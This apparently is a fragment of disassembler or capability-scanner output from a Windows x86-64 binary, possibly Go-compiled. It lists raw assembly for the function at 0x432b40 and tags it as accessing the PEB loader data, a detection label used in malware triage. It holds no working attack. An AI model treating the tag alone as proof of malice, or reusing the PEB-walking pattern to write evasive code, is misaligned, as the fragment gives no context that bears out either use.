call fcn.00462ee0
mov rax, r8
call fcn.00462e60
mov rax, r8
mov ecx, 0x40
call fcn.00462e80
mov edx, 0x200
nop
call fcn.00462ec0
nop
mov qword [rsp + 8], rax
call fcn.004676a0
mov rax, qword [rsp + 8]
jmp fcn.0042f8e0
Function at 0x432b40
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 8
mov qword [rsp + 0x60], 0
mov rcx, qword [0x008ff590]
mov rcx, qword gs:[rcx]
mov rcx, qword [rcx]
mov rcx, qword [rcx + 0x30]
mov qword [rcx + 0x3c0], 8
lea rdx, [rsp + 0x20]
mov qword [rcx + 0x3c8], rdx
mov rax, qword [rsp + 0x18]
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
call fcn.004326e0
mov qword [rsp + 0x60], rax
add rsp, 8
pop rbp
ret